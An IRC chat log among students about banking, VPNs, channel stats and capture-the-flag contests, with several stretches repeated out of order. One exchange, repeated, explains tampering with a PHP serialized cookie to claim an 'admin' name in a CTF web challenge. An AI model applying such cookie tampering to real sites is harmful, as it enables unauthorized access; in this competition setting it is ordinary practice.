[2015-04-18T17:32:19-0400] <LittleBobbyTables> I got 250 bucks back in taxes
[2015-04-18T17:32:25-0400] <+awe> Yeah, I got quite a bit back, too.
[2015-04-18T17:32:41-0400] <+awe> And then because research job now, I'm going to switch banks to them.
[2015-04-18T17:32:44-0400] <+awe> Wells Fargo is awful.
[2015-04-18T17:33:33-0400] <LittleBobbyTables> I have a community one
[2015-04-18T17:35:03-0400] <+awe> Like a cooperative bank? Or a credit union?
[2015-04-18T17:35:36-0400] <LittleBobbyTables> credit union
[2015-04-18T17:36:03-0400] <+awe> Ah, cool.
[2015-04-18T17:37:29-0400] <LittleBobbyTables> If I didn't get mailed a card, I would probably sign up for them
[2015-04-18T17:37:46-0400] <+awe> Why...?
[2015-04-18T17:37:50-0400] <+awe> How would you prefer to get the card?
[2015-04-18T17:38:03-0400] <nickthename> I'm mostly impressed that they got simple.com
[2015-04-18T17:38:03-0400] <JacobEdelman> by carrier pdgn
[2015-04-18T17:38:06-0400] <+awe> Or what is your issue with getting mailed the card?
[2015-04-18T17:38:36-0400] <LittleBobbyTables> ^
[2015-04-18T17:38:44-0400] <+awe> But actually though?
[2015-04-18T17:39:01-0400] <JacobEdelman> awe: I think its cause he's LBT and thus a troll? :P
[2015-04-18T17:39:05-0400] <LittleBobbyTables> I hate letters
[2015-04-18T17:41:02-0400] <JacobEdelman> jwoglom: http://morbo.wogloms.com/~james/pisg/pdgn/pdgn.html is weird
[2015-04-18T17:41:06-0400] <LittleBobbyTables> wagamama.tv might transfer to the streamer I named it after
[2015-04-18T17:41:12-0400] <LittleBobbyTables> He wants a new website
[2015-04-18T17:41:17-0400] <JacobEdelman> how is hardmath123 still one of the most common speakers?
[2015-04-18T17:42:09-0400] <LittleBobbyTables> i need to speak 20k more lines
[2015-04-18T17:42:11-0400] <LittleBobbyTables> To beat awe
[2015-04-18T17:42:21-0400] <+awe> That's a lot of lines you'd have to speak.
[2015-04-18T17:42:44-0400] <LittleBobbyTables> yeah...
[2015-04-18T17:42:48-0400] <LittleBobbyTables> It sucks
[2015-04-18T17:43:04-0400] <LittleBobbyTables> But if I speak at least 3 for every one you type, it's 60k Kappa
[2015-04-18T17:43:13-0400] <+awe> The list of most common words is pretty hilarious.
[2015-04-18T17:43:14-0400] <nickthename> awe: how is this better than burke and herbert? It has a nicer app?
[2015-04-18T17:43:53-0400] <+awe> Yeah, it's a tech company first.
[2015-04-18T17:44:30-0400] <JacobEdelman> does karma work by
[2015-04-18T17:44:35-0400] <JacobEdelman> JacobEdelman++
[2015-04-18T17:44:36-0400] <JacobEdelman> ?
[2015-04-18T17:44:42-0400] <+awe> JacobEdelman: There isn't a karma feature, but if there was, yes.
[2015-04-18T17:44:47-0400] <JacobEdelman> okay
[2015-04-18T17:44:55-0400] <JacobEdelman> the stats have karma
[2015-04-18T17:44:57-0400] <JacobEdelman> I have the most
[2015-04-18T17:45:08-0400] <+awe> Oh, yeah. I didn't realize that.
[2015-04-18T17:45:15-0400] <+awe> kenzierocks--
[2015-04-18T17:45:23-0400] <LittleBobbyTables> What am I winning in?
[2015-04-18T17:45:54-0400] <+awe> awe's faithful follower, columba.pdgn.co, kicked about 6 people.
[2015-04-18T17:45:59-0400] <+awe> JacobEdelman: columba replaced you. >:D
[2015-04-18T17:46:18-0400] <JacobEdelman> I know
[2015-04-18T17:46:20-0400] <JacobEdelman> its annoying
[2015-04-18T17:46:33-0400] <JacobEdelman> how about you reimplement democracy?
[2015-04-18T17:46:33-0400] <LittleBobbyTables> JacobEdelman--
[2015-04-18T17:46:34-0400] <+awe> I make up 20% of all messages on this server. Wow.
[2015-04-18T17:46:45-0400] <JacobEdelman> awe: I will catch up eventually
[2015-04-18T17:46:51-0400] <alokpathy> JacobEdelman: -= 9001
[2015-04-18T17:46:52-0400] <JacobEdelman> awe: I'm catching up in terms of monolgouse
[2015-04-18T17:46:54-0400] <kenzierocks> <+awe> kenzierocks--
[2015-04-18T17:46:55-0400] <kenzierocks> r00d
[2015-04-18T17:47:09-0400] <+awe> kenzierocks: That's for all the trolling, mate.
[2015-04-18T17:47:18-0400] <+awe> I expect it from LittleBobbyTables, but not from anybody else.
[2015-04-18T17:47:25-0400] <LittleBobbyTables> awe++
[2015-04-18T17:47:39-0400] <JacobEdelman> lol, alokpathy just joined the cctf channell to ask people if they are doing plaid :P
[2015-04-18T17:48:18-0400] <JacobEdelman> awe: clearly you have never left a phone or computer unattended near alokpathy if you think he never trolls
[2015-04-18T17:48:32-0400] <+awe> alokpathy is too nice to troll. What are you talking about?
[2015-04-18T17:48:35-0400] <LittleBobbyTables> Everything of my locks automatically.
[2015-04-18T17:48:43-0400] <JacobEdelman> LittleBobbyTables: ?
[2015-04-18T17:48:50-0400] <LittleBobbyTables> of mine*
[2015-04-18T17:49:13-0400] <JacobEdelman> awe: he has poster on several people's fb accounts (including mine) on our desire to become ramen and our preganancy
[2015-04-18T17:49:14-0400] <+awe> My phone doesn't.
[2015-04-18T17:49:20-0400] <+awe> But that's intentional. I always lock it myself.
[2015-04-18T17:49:26-0400] <JacobEdelman> he does it to computer's too
[2015-04-18T17:49:36-0400] <JacobEdelman> you'll turn around druing studyhall to have a conversation
[2015-04-18T17:49:37-0400] <JacobEdelman> and bam
[2015-04-18T17:49:40-0400] <JacobEdelman> he's using your computer
[2015-04-18T17:49:42-0400] <JacobEdelman> :P
[2015-04-18T17:50:07-0400] <bob_twinkles> and this is why I always lock my screen
[2015-04-18T17:50:35-0400] <LittleBobbyTables> I just lock it because I don't want people to find my porn
[2015-04-18T17:50:51-0400] <bob_twinkles> that really is the most important consideration here
[2015-04-18T17:51:06-0400] <JacobEdelman> LittleBobbyTables: aka your desktop background and every icon on it??
[2015-04-18T17:51:23-0400] <+awe> He didn't say he was hiding the porn.
[2015-04-18T17:51:38-0400] <JacobEdelman> you know
[2015-04-18T17:51:42-0400] <JacobEdelman> with certain fonts
[2015-04-18T17:51:46-0400] <JacobEdelman> it looks like pom
[2015-04-18T17:51:55-0400] <alokpathy> wat
[2015-04-18T17:52:04-0400] <alokpathy> JacobEdelman: I never did these things. What are you talking about?
[2015-04-18T17:52:04-0400] <LittleBobbyTables> http://gyazo.com/0620402d83e30f8dc92a6aebf790fbfc
[2015-04-18T17:52:12-0400] <alokpathy> JacobEdelman: Tamini actually does want to be ramen. She told me.
[2015-04-18T17:52:23-0400] <+awe> LittleBobbyTables: kernels is porn folder.
[2015-04-18T17:52:41-0400] <LittleBobbyTables> http://gyazo.com/24fc6caac3863a31d6eb13151df41cec
[2015-04-18T17:52:54-0400] <+awe> I was right@
[2015-04-18T17:52:55-0400] <+awe> !!!!
[2015-04-18T17:52:58-0400] <LittleBobbyTables> lol
[2015-04-18T17:53:10-0400] <LittleBobbyTables> It's passmark bro
[2015-04-18T17:53:15-0400] <+awe> Sure it is.
[2015-04-18T17:53:34-0400] <+awe> I bet if you changed the file extensions to .mkv, suddenly, it'd all be porn.
[2015-04-18T17:54:21-0400] <LittleBobbyTables> http://gyazo.com/323f48dfdc4597e4b2ebb8c36d1afaed
[2015-04-18T17:54:58-0400] <LittleBobbyTables> My porn is in my Documents/Downloads/movies folder
[2015-04-18T17:55:23-0400] <z3t> -_-\
[2015-04-18T17:55:50-0400] <LittleBobbyTables> >>
[2015-04-18T17:55:51-0400] <z3t> Desktop/NOT_PORN/ seems beter
[2015-04-18T17:56:31-0400] <LittleBobbyTables> I like to keep my desktop clean though
[2015-04-18T17:56:38-0400] <LittleBobbyTables> My host one, that is
[2015-04-18T17:56:40-0400] <LittleBobbyTables> VMs are so bad
[2015-04-18T17:57:00-0400] <z3t> Really? There's literally nothing on my vm desktops
[2015-04-18T17:57:24-0400] <LittleBobbyTables> yeah
[2015-04-18T17:57:34-0400] <z3t> well that's not true actually, my windows xp one has virus.exe on the desktop
[2015-04-18T18:09:06-0400] <LittleBobbyTables> restarting computer
[2015-04-18T18:20:40-0400] <LittleBobbyTables> back
[2015-04-18T18:21:43-0400] <jwoglom> JacobEdelman: lemme regen that now actually
[2015-04-18T18:22:01-0400] <jwoglom> also man you guys have been talking a lot today
[2015-04-18T18:22:07-0400] <jwoglom> i think this is going to change the stats a lot
[2015-04-18T18:22:18-0400] <jwoglom> http://morbo.wogloms.com/~james/pisg/pdgn/pdgn.html
[2015-04-18T18:23:45-0400] LittleBobbyTables is now known as j
[2015-04-18T18:23:51-0400] <j> LittleBobbyTables++
[2015-04-18T18:23:55-0400] j is now known as LittleBobbyTables
[2015-04-18T18:23:56-0400] <LittleBobbyTables> Kappa
[2015-04-18T18:24:11-0400] z3t is now known as j
[2015-04-18T18:24:15-0400] <j> LittleBobbyTables--
[2015-04-18T18:24:20-0400] j is now known as z3t
[2015-04-18T18:24:44-0400] <jwoglom> i don't think pisg handles ++/--s very well, lol
[2015-04-18T18:25:06-0400] <+awe> woggles is happy, fwilson is sad. 
[2015-04-18T18:25:30-0400] <jwoglom> "jwoglom isn't a sad person either, smiling 10.7% of the time." :)
[2015-04-18T18:25:33-0400] <jwoglom> "fwilson is also a sad person, crying 4.3% of the time."
[2015-04-18T18:25:59-0400] <z3t> fwilson: :(
[2015-04-18T18:26:05-0400] <jwoglom> z3t: be happy :)
[2015-04-18T18:31:06-0400] <LittleBobbyTables> You should add ;c as a face
[2015-04-18T18:31:09-0400] <LittleBobbyTables> I type that a bit.
[2015-04-18T18:50:58-0400] <fwilson> T_T
[2015-04-18T18:50:59-0400] <fwilson> this isn't work
[2015-04-18T18:51:36-0400] <z3t> The CAMS team in first on cctf is total bs. Either they received preperation from the upperclassmen, or are receiving extended hints.
[2015-04-18T18:51:52-0400] <z3t> Never seen them compete in anything before.
[2015-04-18T19:01:13-0400] <LittleBobbyTables> or they're better than you
[2015-04-18T19:01:26-0400] <jwoglom> it is a bit suspicious that a team from that HS is in first, but why do you think that?
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[2015-04-18T19:07:09-0400] <z3t> They supposovedly were holding flags. You don't hold flags in a compettition where faster submissions rewards you.
[2015-04-18T19:09:48-0400] <alokpathy> ^
[2015-04-18T19:10:07-0400] <alokpathy> Isn't the point of rewarding faster submisisons to deter flag hoarding?
[2015-04-18T19:13:01-0400] <z3t> Yup.
[2015-04-18T19:13:53-0400] <jwoglom> z3t: have you done any of the crypto problems?
[2015-04-18T19:13:54-0400] <z3t> One of the people running it said they were apprehensive about submitting them as they didn't want to lose points. The same guy told me that IP will barely effect your BP unless you use your IP, which they haven't.
[2015-04-18T19:14:03-0400] <z3t> 1-3 only jwoglom 
[2015-04-18T19:14:06-0400] <jwoglom> same
[2015-04-18T19:14:12-0400] <z3t> others are...eh
[2015-04-18T19:14:17-0400] <jwoglom> why is it that 2 people have solved 5, but 6 for 6
[2015-04-18T19:14:24-0400] <jwoglom> when 6 is "continued from crypto 5"?
[2015-04-18T19:14:41-0400] <z3t> eh sec i'll check out 6
[2015-04-18T19:17:16-0400] <z3t> Oh I think I know how to do that
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[2015-04-18T19:34:12-0400] <LittleBobbyTables> z3t: have you won yet
[2015-04-18T19:34:44-0400] <+awe> Argh, the RiseUp VPN doesn't seem to work.
[2015-04-18T19:35:08-0400] <LittleBobbyTables> PIA is better
[2015-04-18T19:35:38-0400] <+awe> RiseUp is free though.
[2015-04-18T19:36:07-0400] <LittleBobbyTables> That's why PIA is better.
[2015-04-18T19:36:34-0400] <+awe> True story.
[2015-04-18T19:39:43-0400] <LittleBobbyTables> I love this mouse
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[2015-04-18T20:23:50-0400] <fwilson> riseup works fine, awe
[2015-04-18T20:23:52-0400] <fwilson> use openvpn
[2015-04-18T20:24:05-0400] <+awe> I meant their new VPN with Bitmask.
[2015-04-18T20:24:07-0400] <fwilson> oh
[2015-04-18T20:24:10-0400] <fwilson> that never worked for me lol
[2015-04-18T20:24:14-0400] <fwilson> use the openvpn one, it's much better
[2015-04-18T20:24:31-0400] <+awe> Yeah, I'm using OpenVPN now.
[2015-04-18T20:24:46-0400] <fwilson> and riseup is actually very nice LittleBobbyTables 
[2015-04-18T20:39:18-0400] <+awe> fwilson: do you actually have a riseup account?
[2015-04-18T20:40:20-0400] <+awe> Or, I guess you must to use the OpenVPN one.
[2015-04-18T20:40:26-0400] <+awe> I'm surprised since JacobEdelman couldn't get one.
[2015-04-18T20:41:31-0400] <fwilson> awe: yes
[2015-04-18T20:41:45-0400] <fwilson> i basically said "i write open source software and stuff" and they accepted my application
[2015-04-18T20:41:48-0400] <fwilson> lel
[2015-04-18T20:41:53-0400] <+awe> Ah.
[2015-04-18T20:42:02-0400] <+awe> Mine was actually about my activism history.
[2015-04-18T20:42:13-0400] <fwilson> such as?
[2015-04-18T20:42:20-0400] <+awe> I'm in a labor organizing group.
[2015-04-18T20:42:27-0400] <fwilson> ah
[2015-04-18T20:43:23-0400] <+awe> We've been really successful this year, actually.
[2015-04-18T20:43:36-0400] <fwilson> example?
[2015-04-18T20:43:56-0400] <+awe> http://www.masslive.com/news/index.ssf/2015/03/students_want_umass_to_allow_s.html
[2015-04-18T20:44:11-0400] <fwilson> ah, nice
[2015-04-18T20:44:23-0400] <+awe> We're about to win this campaign. The contract allowing the use of dining dollars is about to get signed.
[2015-04-18T20:44:40-0400] <fwilson> :D
[2015-04-18T20:44:45-0400] <+awe> We also helped unionize one of the reslife positions on our campus (RAs were already unionized).
[2015-04-18T20:44:50-0400] <fwilson> interesting
[2015-04-18T20:45:14-0400] <+awe> They won their union drive last week, and so they're part of the United Auto Workers Local 2322.
[2015-04-18T20:46:56-0400] <+awe> We also have food service workers under a temporary worker designation who have been unionized for three years, but have yet to get a contract. After our organizing efforts on that last semester, they'll have a contract in place for next year.
[2015-04-18T20:47:16-0400] <+awe> So, they're going to get paid sick days, health insurance, and so forth.
[2015-04-18T20:47:42-0400] <fwilson> oh, nice
[2015-04-18T20:49:39-0400] <jwoglom> that's interesting
[2015-04-18T21:11:47-0400] <fwilson> jwoglom: https://www.youtube.com/watch?v=ODOOE9G6wWg
[2015-04-18T21:11:49-0400] <fwilson> sdamashek: ^
[2015-04-18T21:13:06-0400] <jwoglom> lol wat
[2015-04-18T21:13:27-0400] <jwoglom> was that linked on hshackers or something
[2015-04-18T21:14:48-0400] <LittleBobbyTables> That was pretty bad.
[2015-04-18T21:16:13-0400] <sdamashek> what even
[2015-04-18T21:16:39-0400] <sdamashek> that's not even a good parody
[2015-04-18T21:16:48-0400] <sdamashek> imo
[2015-04-18T21:18:45-0400] <JacobEdelman> awe: I should apply to riseup again some time
[2015-04-18T21:18:51-0400] <JacobEdelman> mentioning opensource stuffs
[2015-04-18T21:19:02-0400] <jwoglom> a decent quality camera/video setup was about the only good thing in that
[2015-04-18T21:26:47-0400] <+awe> JacobEdelman: perhaps, yeah.
[2015-04-18T21:37:29-0400] <z3t> 05:36:34  jwoglom | awe is special  
[2015-04-18T21:37:37-0400] <+awe> What?
[2015-04-18T21:38:12-0400] <jwoglom> uh
[2015-04-18T21:38:25-0400] <jwoglom> u tryin to make me look bad m8?
[2015-04-18T21:38:28-0400] <jwoglom> because 1:36:22              z3t | stupid awe
[2015-04-18T21:38:34-0400] <jwoglom> *21:36
[2015-04-18T21:38:40-0400] <z3t> fake
[2015-04-18T21:38:48-0400] <+awe> I'm so confused.
[2015-04-18T21:38:48-0400] <jwoglom> ur fake
[2015-04-18T21:39:21-0400] <z3t> rekt
[2015-04-18T21:39:34-0400] <z3t> awe: on a different network
[2015-04-18T21:40:23-0400] <+awe> Why would you guys be so mean to me? :(
[2015-04-18T21:40:45-0400] <z3t> because awebot is mean
[2015-04-18T21:41:01-0400] <+awe> awebot is just a robot.
[2015-04-18T21:41:04-0400] <+awe> @whois awebot
[2015-04-18T21:41:04-0400] <+awebot> awe: awebot is just your friendly neighborhood Spiderman.
[2015-04-18T21:41:12-0400] <+awe> See, he's friendly!
[2015-04-18T21:41:13-0400] <z3t> 09:54:11 awebot | That shirt is very becoming on you.  If I were on you, I'd be coming too.
[2015-04-18T21:41:16-0400] <LittleBobbyTables> Spiderman is a robot?
[2015-04-18T21:41:27-0400] <jwoglom> @tell awebot if you're really as mean as z3t says you are, reveal yourself!
[2015-04-18T21:41:27-0400] <+awebot> jwoglom: I'm right here!
[2015-04-18T21:42:13-0400] <z3t> @tell awebot if you hate awe, reveal yourself!
[2015-04-18T21:42:13-0400] <+awebot> z3t: I'm right here!
[2015-04-18T21:42:19-0400] • awe: cries.
[2015-04-18T21:45:27-0400] <LittleBobbyTables> @tell LittleBobbyTables @tell LittleBobbyTables awe fix this
[2015-04-18T21:45:27-0400] <+awebot> LittleBobbyTables: I'll let them know!
[2015-04-18T21:45:27-0400] <+awebot> LittleBobbyTables: Moments ago, LittleBobbyTables said @tell LittleBobbyTables awe fix this.
[2015-04-18T21:48:23-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=uG2PyQ09VR8
[2015-04-18T21:48:28-0400] <LittleBobbyTables> listen until at least 4 minutes
[2015-04-18T21:49:16-0400] <+awe> LittleBobbyTables: fix what? The fact that he doesn't send messages when his own messages contain @tell?
[2015-04-18T21:49:23-0400] <+awe> LittleBobbyTables: or the fact that he lets you send a message to yourself?
[2015-04-18T21:49:47-0400] <LittleBobbyTables> The fact that it goes off on itself
[2015-04-18T21:50:50-0400] <+awe> It doesn't go off on itself.
[2015-04-18T21:51:15-0400] <+awe> The reason why it sends you that message immediately is because it does the @tell stuff before it sends people messages they received.
[2015-04-18T21:52:10-0400] <alokpathy> awe: There there awe :(
[2015-04-18T21:52:15-0400] <alokpathy> No need to cry.
[2015-04-18T21:52:25-0400] <+awe> z3t was mean to me though.
[2015-04-18T21:52:35-0400] <kenzierocks> awe: <3
[2015-04-18T21:52:39-0400] <z3t> I didn't call you special though!
[2015-04-18T21:52:51-0400] <z3t> That was jwoglom!
[2015-04-18T21:53:20-0400] <LittleBobbyTables> http://stop-irc-bullying.eu/stop/
[2015-04-18T21:53:52-0400] <kenzierocks> i still can't tell if that's a joke or not
[2015-04-18T21:53:56-0400] <kenzierocks> i'm so confused
[2015-04-18T21:55:49-0400] <+awe> That site? It's probably for real.
[2015-04-18T21:55:49-0400] <+awebot> awe: A minute ago, z3t said <3.
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[2015-04-18T22:18:55-0400] <failedxyz> yo
[2015-04-18T22:19:00-0400] <LittleBobbyTables> failedxyz: how far are you on web f
[2015-04-18T22:19:07-0400] <failedxyz> i'm stuck
[2015-04-18T22:19:08-0400] <LittleBobbyTables> z3t and i are pretty damn close
[2015-04-18T22:19:11-0400] <LittleBobbyTables> which part?
[2015-04-18T22:20:58-0400] <failedxyz> i've basically spent 3 hours googling anything that matches the data cookie
[2015-04-18T22:21:12-0400] <failedxyz> and also playing osu but feeling really depressed because i can't solve web f
[2015-04-18T22:21:17-0400] <failedxyz> so i counted that into the time too
[2015-04-18T22:21:25-0400] <LittleBobbyTables> uhh
[2015-04-18T22:21:27-0400] <LittleBobbyTables> the data cookie
[2015-04-18T22:21:29-0400] <LittleBobbyTables> is the easiest part
[2015-04-18T22:21:30-0400] <LittleBobbyTables> lol
[2015-04-18T22:22:02-0400] <failedxyz> yeah idk then
[2015-04-18T22:22:05-0400] <failedxyz> back to osu
[2015-04-18T22:23:35-0400] <LittleBobbyTables> failedxyz: did you decode it?
[2015-04-18T22:25:54-0400] <failedxyz> i don't get what it means :s
[2015-04-18T22:26:10-0400] <failedxyz> some numbers mean length
[2015-04-18T22:28:08-0400] <LittleBobbyTables> paste what you got
[2015-04-18T22:28:11-0400] <LittleBobbyTables> i'll explain it to you
[2015-04-18T22:29:28-0400] <failedxyz> so
[2015-04-18T22:29:29-0400] <failedxyz> O:5:"Admin":1:{s:4:"name";s:11:"54.89.0.207";}
[2015-04-18T22:29:34-0400] <failedxyz> s = string
[2015-04-18T22:29:36-0400] <failedxyz> O = object
[2015-04-18T22:29:41-0400] <failedxyz> ?
[2015-04-18T22:30:07-0400] <failedxyz> Admin = { name: "54.89.0.207" }?
[2015-04-18T22:30:07-0400] <LittleBobbyTables> yeah
[2015-04-18T22:30:12-0400] <LittleBobbyTables> also, thanks for your ip :P
[2015-04-18T22:30:20-0400] <failedxyz> not my ip
[2015-04-18T22:30:22-0400] <failedxyz> :)
[2015-04-18T22:30:28-0400] <failedxyz> http://hurl.it
[2015-04-18T22:30:28-0400] <LittleBobbyTables> s:4: is
[2015-04-18T22:30:31-0400] <LittleBobbyTables> string with a length of 4
[2015-04-18T22:30:41-0400] <failedxyz> then it's just an enum, not a keyed dictionary?
[2015-04-18T22:30:50-0400] <LittleBobbyTables> kind of
[2015-04-18T22:30:52-0400] <LittleBobbyTables> your name is the ip
[2015-04-18T22:31:02-0400] <LittleBobbyTables> so if you were to change it to
[2015-04-18T22:31:07-0400] <LittleBobbyTables> s:5:"admin"
[2015-04-18T22:31:08-0400] <LittleBobbyTables> at the end
[2015-04-18T22:31:11-0400] <LittleBobbyTables> instead of 11 ip
[2015-04-18T22:31:19-0400] <LittleBobbyTables> it'll say "hello admin, you don't look like admin"
[2015-04-18T22:31:21-0400] <z3t> no public hints
[2015-04-18T22:31:54-0400] <LittleBobbyTables> I don't think anyone here is actually participating except for you
[2015-04-18T22:32:01-0400] <LittleBobbyTables> and you're at the same part lol
[2015-04-18T22:58:22-0400] <JacobEdelman> umm... wait, you guys shouldn't discuss cctf or plaidctf problems here
[2015-04-18T22:58:23-0400] <JacobEdelman> seriosly
[2015-04-18T22:58:59-0400] <z3t> i have all plaidctf flags
[2015-04-18T22:58:59-0400] • awe: doesn't care.
[2015-04-18T22:59:03-0400] <z3t> would you be mad if I posted them
[2015-04-18T23:07:31-0400] <LittleBobbyTables> why JacobEdelman 
[2015-04-18T23:09:44-0400] <JacobEdelman> awe: but people here are doing them
[2015-04-18T23:10:08-0400] • awe: shrugs.
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[2015-04-19T00:48:49-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-18T22:19:00-0400] <LittleBobbyTables> failedxyz: how far are you on web f
[2015-04-18T22:19:07-0400] <failedxyz> i'm stuck
[2015-04-18T22:19:08-0400] <LittleBobbyTables> z3t and i are pretty damn close
[2015-04-18T22:19:11-0400] <LittleBobbyTables> which part?
[2015-04-18T22:20:58-0400] <failedxyz> i've basically spent 3 hours googling anything that matches the data cookie
[2015-04-18T22:21:12-0400] <failedxyz> and also playing osu but feeling really depressed because i can't solve web f
[2015-04-18T22:21:17-0400] <failedxyz> so i counted that into the time too
[2015-04-18T22:21:25-0400] <LittleBobbyTables> uhh
[2015-04-18T22:21:27-0400] <LittleBobbyTables> the data cookie
[2015-04-18T22:21:29-0400] <LittleBobbyTables> is the easiest part
[2015-04-18T22:21:30-0400] <LittleBobbyTables> lol
[2015-04-18T22:22:02-0400] <failedxyz> yeah idk then
[2015-04-18T22:22:05-0400] <failedxyz> back to osu
[2015-04-18T22:23:35-0400] <LittleBobbyTables> failedxyz: did you decode it?
[2015-04-18T22:25:54-0400] <failedxyz> i don't get what it means :s
[2015-04-18T22:26:10-0400] <failedxyz> some numbers mean length
[2015-04-18T22:28:08-0400] <LittleBobbyTables> paste what you got
[2015-04-18T22:28:11-0400] <LittleBobbyTables> i'll explain it to you
[2015-04-18T22:29:28-0400] <failedxyz> so
[2015-04-18T22:29:29-0400] <failedxyz> O:5:"Admin":1:{s:4:"name";s:11:"54.89.0.207";}
[2015-04-18T22:29:34-0400] <failedxyz> s = string
[2015-04-18T22:29:36-0400] <failedxyz> O = object
[2015-04-18T22:29:41-0400] <failedxyz> ?
[2015-04-18T22:30:07-0400] <failedxyz> Admin = { name: "54.89.0.207" }?
[2015-04-18T22:30:07-0400] <LittleBobbyTables> yeah
[2015-04-18T22:30:12-0400] <LittleBobbyTables> also, thanks for your ip :P
[2015-04-18T22:30:20-0400] <failedxyz> not my ip
[2015-04-18T22:30:22-0400] <failedxyz> :)
[2015-04-18T22:30:28-0400] <failedxyz> http://hurl.it
[2015-04-18T22:30:28-0400] <LittleBobbyTables> s:4: is
[2015-04-18T22:30:31-0400] <LittleBobbyTables> string with a length of 4
[2015-04-18T22:30:41-0400] <failedxyz> then it's just an enum, not a keyed dictionary?
[2015-04-18T22:30:50-0400] <LittleBobbyTables> kind of
[2015-04-18T22:30:52-0400] <LittleBobbyTables> your name is the ip
[2015-04-18T22:31:02-0400] <LittleBobbyTables> so if you were to change it to
[2015-04-18T22:31:07-0400] <LittleBobbyTables> s:5:"admin"
[2015-04-18T22:31:08-0400] <LittleBobbyTables> at the end
[2015-04-18T22:31:11-0400] <LittleBobbyTables> instead of 11 ip
[2015-04-18T22:31:19-0400] <LittleBobbyTables> it'll say "hello admin, you don't look like admin"
[2015-04-18T22:31:21-0400] <z3t> no public hints
[2015-04-18T22:31:54-0400] <LittleBobbyTables> I don't think anyone here is actually participating except for you
[2015-04-18T22:32:01-0400] <LittleBobbyTables> and you're at the same part lol
[2015-04-18T22:58:22-0400] <JacobEdelman> umm... wait, you guys shouldn't discuss cctf or plaidctf problems here
[2015-04-18T22:58:23-0400] <JacobEdelman> seriosly
[2015-04-18T22:58:59-0400] <z3t> i have all plaidctf flags
[2015-04-18T22:58:59-0400] • awe: doesn't care.
[2015-04-18T22:59:03-0400] <z3t> would you be mad if I posted them
[2015-04-18T23:07:31-0400] <LittleBobbyTables> why JacobEdelman 
[2015-04-18T23:09:44-0400] <JacobEdelman> awe: but people here are doing them
[2015-04-18T23:10:08-0400] • awe: shrugs.
[2015-04-19T00:48:49-0400] Mode is +nrt
[2015-04-19T01:32:27-0400] <LittleBobbyTables> failedxyz: do web f pls
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[2015-04-19T11:23:50-0400] <JacobEdelman> so
[2015-04-19T11:25:37-0400] <JacobEdelman> bob_twinkles: awe: Hyper: if I'm given a lambda calculus expression X and given a function Y and told that X = the beta reduction of F(Y) for some lambda expression Y, how can I find Y?
[2015-04-19T11:34:08-0400] <JacobEdelman> never mind, i think I got it
[2015-04-19T13:10:27-0400] <alokpathy> JacobEdelman: Can I play CCTF?
[2015-04-19T13:10:35-0400] <alokpathy> JacobEdelman: And how long does it last?
[2015-04-19T13:10:45-0400] <JacobEdelman> a week I think
[2015-04-19T13:10:49-0400] <JacobEdelman> and yes, you can play it
[2015-04-19T13:10:56-0400] <JacobEdelman> failedxyz says it was good
[2015-04-19T13:16:41-0400] <z3t> Give up on plaid, alokpathy ?
[2015-04-19T13:20:13-0400] <alokpathy> Mhm
[2015-04-19T13:20:20-0400] <alokpathy> 5 hours left, not available for 4 of them
[2015-04-19T13:26:37-0400] <alokpathy> Also was fairly useless throughout the entire thing
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[2015-04-19T15:21:02-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-18T22:28:08-0400] <LittleBobbyTables> paste what you got
[2015-04-18T22:28:11-0400] <LittleBobbyTables> i'll explain it to you
[2015-04-18T22:29:28-0400] <failedxyz> so
[2015-04-18T22:29:29-0400] <failedxyz> O:5:"Admin":1:{s:4:"name";s:11:"54.89.0.207";}
[2015-04-18T22:29:34-0400] <failedxyz> s = string
[2015-04-18T22:29:36-0400] <failedxyz> O = object
[2015-04-18T22:29:41-0400] <failedxyz> ?
[2015-04-18T22:30:07-0400] <failedxyz> Admin = { name: "54.89.0.207" }?
[2015-04-18T22:30:07-0400] <LittleBobbyTables> yeah
[2015-04-18T22:30:12-0400] <LittleBobbyTables> also, thanks for your ip :P
[2015-04-18T22:30:20-0400] <failedxyz> not my ip
[2015-04-18T22:30:22-0400] <failedxyz> :)
[2015-04-18T22:30:28-0400] <failedxyz> http://hurl.it
[2015-04-18T22:30:28-0400] <LittleBobbyTables> s:4: is
[2015-04-18T22:30:31-0400] <LittleBobbyTables> string with a length of 4
[2015-04-18T22:30:41-0400] <failedxyz> then it's just an enum, not a keyed dictionary?
[2015-04-18T22:30:50-0400] <LittleBobbyTables> kind of
[2015-04-18T22:30:52-0400] <LittleBobbyTables> your name is the ip
[2015-04-18T22:31:02-0400] <LittleBobbyTables> so if you were to change it to
[2015-04-18T22:31:07-0400] <LittleBobbyTables> s:5:"admin"
[2015-04-18T22:31:08-0400] <LittleBobbyTables> at the end
[2015-04-18T22:31:11-0400] <LittleBobbyTables> instead of 11 ip
[2015-04-18T22:31:19-0400] <LittleBobbyTables> it'll say "hello admin, you don't look like admin"
[2015-04-18T22:31:21-0400] <z3t> no public hints
[2015-04-18T22:31:54-0400] <LittleBobbyTables> I don't think anyone here is actually participating except for you
[2015-04-18T22:32:01-0400] <LittleBobbyTables> and you're at the same part lol
[2015-04-18T22:58:22-0400] <JacobEdelman> umm... wait, you guys shouldn't discuss cctf or plaidctf problems here
[2015-04-18T22:58:23-0400] <JacobEdelman> seriosly
[2015-04-18T22:58:59-0400] <z3t> i have all plaidctf flags
[2015-04-18T22:58:59-0400] • awe: doesn't care.
[2015-04-18T22:59:03-0400] <z3t> would you be mad if I posted them
[2015-04-18T23:07:31-0400] <LittleBobbyTables> why JacobEdelman 
[2015-04-18T23:09:44-0400] <JacobEdelman> awe: but people here are doing them
[2015-04-18T23:10:08-0400] • awe: shrugs.
[2015-04-19T01:32:27-0400] <LittleBobbyTables> failedxyz: do web f pls
[2015-04-19T11:23:50-0400] <JacobEdelman> so
[2015-04-19T11:25:37-0400] <JacobEdelman> bob_twinkles: awe: Hyper: if I'm given a lambda calculus expression X and given a function Y and told that X = the beta reduction of F(Y) for some lambda expression Y, how can I find Y?
[2015-04-19T11:34:08-0400] <JacobEdelman> never mind, i think I got it
[2015-04-19T13:10:27-0400] <alokpathy> JacobEdelman: Can I play CCTF?
[2015-04-19T13:10:35-0400] <alokpathy> JacobEdelman: And how long does it last?
[2015-04-19T13:10:45-0400] <JacobEdelman> a week I think
[2015-04-19T13:10:49-0400] <JacobEdelman> and yes, you can play it
[2015-04-19T13:10:56-0400] <JacobEdelman> failedxyz says it was good
[2015-04-19T13:16:41-0400] <z3t> Give up on plaid, alokpathy ?
